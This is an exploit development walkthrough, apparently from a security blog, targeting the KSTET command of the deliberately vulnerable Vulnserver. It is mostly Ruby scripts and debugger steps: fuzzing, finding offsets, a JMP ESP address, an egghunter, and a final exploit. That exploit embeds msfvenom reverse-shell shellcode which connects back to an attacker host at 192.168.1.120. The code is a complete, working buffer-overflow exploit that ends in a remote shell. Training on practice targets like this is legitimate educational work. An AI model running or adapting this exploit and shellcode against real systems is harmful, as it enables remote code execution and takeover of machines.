Vulnserver: developing an exploit for KSTET

We can use the following template to fuzz the command with spike:

s_readline();
s_string("KSTET ");
s_string_variable("COMMAND");

The application crashes instantly.

fuzzing kstet

Looks like our long string was able to override EIP and parts of our buffer are visible in the stack and in EAX.

A PoC script can be found here:

#!/usr/bin/ruby

require 'socket'

target = '192.168.1.121'
port = 9999

s = TCPSocket.open(target, port)

s.puts('KSTET /.:/' + 'A' * 5000)
s.close()

To better understand where our buffer goes, we recreate the crash using a unique string, generated with msf-pattern_create. Our script will look like this:

#!/usr/bin/ruby

require 'socket'

target = '192.168.1.121'
port = 9999

s = TCPSocket.open(target, port)

payload = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk'

s.puts('KSTET /.:/' + payload)
s.close()

unique string

Luckily for us, the memory layout looks similar to the previous crash. Let’s find the offsets with !mona findmsp:

mona findmsp

We have EIP after 66 characters, ESP is at 70 (just after EIP). But ESP only has 20 bytes of buffer after it, and it looks that the longest sequence is 90 bytes long. We will replicate the crash, trying to override EIP and check how much buffer we actually have.

buffer after crash

We can see the different parts of our buffer in memory. You can replicate this crash with the following script:

#!/usr/bin/ruby

require 'socket'

target = '192.168.1.121'
port = 9999

s = TCPSocket.open(target, port)

# EIP offset at 66
payload = 'A' * 66
payload += 'BBBB'
payload += 'C' * (5000 - payload.length)

s.puts('KSTET /.:/' + payload)
s.close()

This is very little space, and despite being probably enough for some other payload that would allow us to own the machine all the same, this space is not enough for a shell. If we want to inject a shell, we need to find space for our buffer.

One thing that we can try, is to inject our shellcode with another command before crashing the application.

We can do so by using the following script:

#!/usr/bin/ruby

require 'socket'

target = '192.168.1.121'
port = 9999

buffer = 'D' * 1000
s = TCPSocket.open(target, port)
s.write('STATS ' + buffer)
s.close()

first_stage = 'A' * 66
first_stage += 'BBBB'
first_stage += 'C' * (1000 - first_stage.length)
s = TCPSocket.open(target, port)
s.puts('KSTET /.:/' + first_stage)
s.close()

What the script does is simple: sends a huge buffer of D with the STATS command, then crash the server as usual. This will allow us to search in memory for the buffer we sent before crashing the service. Open the memory map, right click on it, click search and look for a long sequence of D.

Luckily for us, our buffer is there:

buffer with stats

Unfortunately, we can’t directly jump to this place in memory, as its address starts with a null byte. Since the memory can’t be directly called, we can solve this by writing an egghunter.

The idea behind an egghunter is simple: we prepend our payload with an arbitrary signature (the “egg”), then we write a small piece of code that scans the memory looking for this signature, when it finds the signature it jumps just after it.

But we are not there yer, first of all, we need a JMP ESP:

mona jmp esp

The first instruction is good:

Address=625011AF
Message= 0x625011af : "jmp esp" | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)

We can use this address to override EIP. This will bring us to our short buffer pointed by ESP, which is 20 bytes long and it’s unfortunately not enough to write our egghunter.

Since EAX is holding a pointer at the beginning of our command, we could realign EAX with our buffer and then jump to EAX.

Our buffer is 10 bytes ahead of the EAX register, so we can add 10 to its value to have a pointer to our buffer:

nasm > add eax, 10
00000000 83C00A      add eax,byte +0xa
nasm > jmp eax
00000000 FFE0       jmp eax

This can be placed just after the EIP, at offset 70 and will allow us to gain space or our egghunter.

We can use Mona to generate a 32 byte long egg hunter:

!mona egghunter -t Were

egghunter generation

And we paste this egghunter at the beginning of our buffer of A (prepending a few nops for a better visualization). Our script will look like follows:

#!/usr/bin/ruby

require 'socket'

target = '192.168.1.121'
port = 9999

buffer = "D" * 1000

s = TCPSocket.open(target, port)
s.write("STATS WereWere" + buffer)
s.close()

# EIP offset at 66
first_stage = "\x90" * 10;

# egghunter egg Were
first_stage += "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
first_stage += "\xef\xb8\x57\x65\x72\x65\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

first_stage += "\x90" * (66 - first_stage.length)

# 0x625011af : "jmp esp" |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)
first_stage += "\xaf\x11\x50\x62"
# aligning eax and jmp eax
first_stage += "\x83\xc0\x0a\xff\xe0"
first_stage += "C" * (1000 - first_stage.length)

s = TCPSocket.open(target, port)
s.puts("KSTET /.:/" + first_stage)
s.close()

Notice how I added my signature just before our buffer in the STATS command. This way we can follow the execution and be sure that the egghunter correctly finds our buffer.

We set a breakpoint at our jmp esp address:

break at jump

If we take the jump and follow the EAX register in dump, we see that it contains our buffer:

eax at buffer

We can now step thorugh the add eax, 10 instruction:

eax aligned

We can see that EAX is now aligned with our buffer of nops (\x90). If we take the jump, the execution will continue until we find our egghunter:

egg check memory

The first loop, before the first JE SHORT, checks wether the memory location is a valid memory location, if it is, it goes ahead and check its content.

This will go on for a while, for every single memory location until it finds our signature. We can speed up the process by placing a breakpoint just after the first JNZ SHORT instruction:

egg found

As we can see, the egghunter just found the first part of the egg (which is the string passed as argument repeated twice), and it’s now going to check if the second part is there too. If it’s not, it continues scanning the memory, if it is, it will jump to EDI:

egg jmp edi

And as we can see, EDI now contains our payload. We can now generate our final payload, paste it into our buffer of Ds and run the exploit:

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.120 LPORT=8080 EXITFUNC=thread -e x86/shikata_ga_nai -b \x00" -f ruby

Our final exploit will look as follows:

#!/usr/bin/ruby

require 'socket'

target = '192.168.1.121'
port = 9999

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.120 LPORT=8080 EXITFUNC=thread -e x86/shikata_ga_nai -b "\x00" -f ruby
shellcode =
"\xbf\xe9\x44\x8f\x1f\xdb\xdb\xd9\x74\x24\xf4\x5b\x31\xc9" +
"\xb1\x52\x31\x7b\x12\x83\xeb\xfc\x03\x92\x4a\x6d\xea\x98" +
"\xbb\xf3\x15\x60\x3c\x94\x9c\x85\x0d\x94\xfb\xce\x3e\x24" +
"\x8f\x82\xb2\xcf\xdd\x36\x40\xbd\xc9\x39\xe1\x08\x2c\x74" +
"\xf2\x21\x0c\x17\x70\x38\x41\xf7\x49\xf3\x94\xf6\x8e\xee" +
"\x55\xaa\x47\x64\xcb\x5a\xe3\x30\xd0\xd1\xbf\xd5\x50\x06" +
"\x77\xd7\x71\x99\x03\x8e\x51\x18\xc7\xba\xdb\x02\x04\x86" +
"\x92\xb9\xfe\x7c\x25\x6b\xcf\x7d\x8a\x52\xff\x8f\xd2\x93" +
"\x38\x70\xa1\xed\x3a\x0d\xb2\x2a\x40\xc9\x37\xa8\xe2\x9a" +
"\xe0\x14\x12\x4e\x76\xdf\x18\x3b\xfc\x87\x3c\xba\xd1\xbc" +
"\x39\x37\xd4\x12\xc8\x03\xf3\xb6\x90\xd0\x9a\xef\x7c\xb6" +
"\xa3\xef\xde\x67\x06\x64\xf2\x7c\x3b\x27\x9b\xb1\x76\xd7" +
"\x5b\xde\x01\xa4\x69\x41\xba\x22\xc2\x0a\x64\xb5\x25\x21" +
"\xd0\x29\xd8\xca\x21\x60\x1f\x9e\x71\x1a\xb6\x9f\x19\xda" +
"\x37\x4a\x8d\x8a\x97\x25\x6e\x7a\x58\x96\x06\x90\x57\xc9" +
"\x37\x9b\xbd\x62\xdd\x66\x56\x4d\x8a\x69\xde\x25\xc9\x69" +
"\x01\x26\x44\x8f\x57\x56\x01\x18\xc0\xcf\x08\xd2\x71\x0f" +
"\x87\x9f\xb2\x9b\x24\x60\x7c\x6c\x40\x72\xe9\x9c\x1f\x28" +
"\xbc\xa3\xb5\x44\x22\x31\x52\x94\x2d\x2a\xcd\xc3\x7a\x9c" +
"\x04\x81\x96\x87\xbe\xb7\x6a\x51\xf8\x73\xb1\xa2\x07\x7a" +
"\x34\x9e\x23\x6c\x80\x1f\x68\xd8\x5c\x76\x26\xb6\x1a\x20" +
"\x88\x60\xf5\x9f\x42\xe4\x80\xd3\x54\x72\x8d\x39\x23\x9a" +
"\x3c\x94\x72\xa5\xf1\x70\x73\xde\xef\xe0\x7c\x35\xb4\x01" +
"\x9f\x9f\xc1\xa9\x06\x4a\x68\xb4\xb8\xa1\xaf\xc1\x3a\x43" +
"\x50\x36\x22\x26\x55\x72\xe4\xdb\x27\xeb\x81\xdb\x94\x0c" +
"\x80"


s = TCPSocket.open(target, port)
s.write("STATS WereWere" + shellcode)
s.close()

# EIP offset at 66
first_stage = "\x90" * 10;
# egghunter egg WereWere
first_stage += "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
first_stage += "\xef\xb8\x57\x65\x72\x65\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

first_stage += "\x90" * (66 - first_stage.length)

# 0x625011af : "jmp esp" |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)
first_stage += "\xaf\x11\x50\x62"
# aligning eax and jmp eax
first_stage += "\x83\xc0\x0a\xff\xe0"
first_stage += "C" * (1000 - first_stage.length)

s = TCPSocket.open(target, port)
s.puts("KSTET /.:/" + first_stage)
s.close()

And once we run the script against the target machine, we get our shell:

final shell